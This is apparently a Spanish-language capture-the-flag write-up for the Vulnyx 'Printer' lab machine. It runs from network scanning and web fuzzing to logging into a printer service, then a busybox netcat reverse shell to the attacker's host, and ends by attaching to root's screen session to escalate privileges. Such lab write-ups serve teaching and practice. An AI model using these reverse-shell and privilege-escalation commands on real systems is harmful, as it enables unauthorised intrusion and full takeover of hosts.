Write-up: Máquina Printer (Vulnyx) - Easy
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.77
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.77
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.77 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22, 80 y 9999.
Comprobamos que es lo que corre por el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.77 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
Volvemos a realizar con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.77/api -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
Nos encontramos el mensaje que nos dice que "Busquemos la impresora con el siguiente formato: printer<id>.<ext>", por lo tanto, con la herramienta wffuz realizamos un fuzzing web, para ello ejecutamos el siguiente comando:
$ wfuzz -c -z range, 1-3000 -z list, txt-json-yml -u 'http://10.0.2.77/api/printers/printerFUZZ.FUZ2Z' --hc 404
A continuación, con curl lanzamos una petición al servidor web, para ello ejecutamos el siguiente comando:
$ for i in 1 2 3 4 5 1599; do curl -sX GET "http://10.0.2.77/api/printers/printer$i.json"; done
Nos conectamos a la impresora (9999) con la ayuda de la herramienta netcat (nc), para ello ejecutamos el siguiente comando:
$ nc 10.0.2.77 9999
A continuación, probamos las contraseñas encontradas anteriormente, obteniendo exito con la contraseña $3cUr3Pr1nT3RP4ZZw0rD.
Introducimos ? para que nos muestre la ayuda.
Observamos que la función exec nos permite ejecutar comandos del sistema, por lo tanto, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Ejecutamos la siguiente reverse shell en busybox de la siguiente manera:
> exec busybox nc 10.0.2.4 443 -e /bin/bash
Y obtenemos una shell como printer.
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Buscamos todos los binarios con el bit SUID activado, para ello ejecutamos el siguiente comando:
$ find / -perm -4000 2>/dev/null
Como podemos comprobar el binario screen tiene el bit SUID activado, no eliminando los privilegios elevados pudiendo utilizarse de forma abusiva para escalar privilegios como una puerta trasera SUID.
Verificamos los procesos filtrando por el binario screen, para ello ejecutamos el siguiente comando:
$ ps aux | grep "screen"
Vemos que el usuario root tiene abierta una sessión de screen, revisando la ayuda de screen vemos que con la opción -x nos permite conectarnos a una sesión activa, por lo tanto, accedemos a la session, para ello ejecutamos el siguiente comando:
$ /usr/bin/screen -x root/












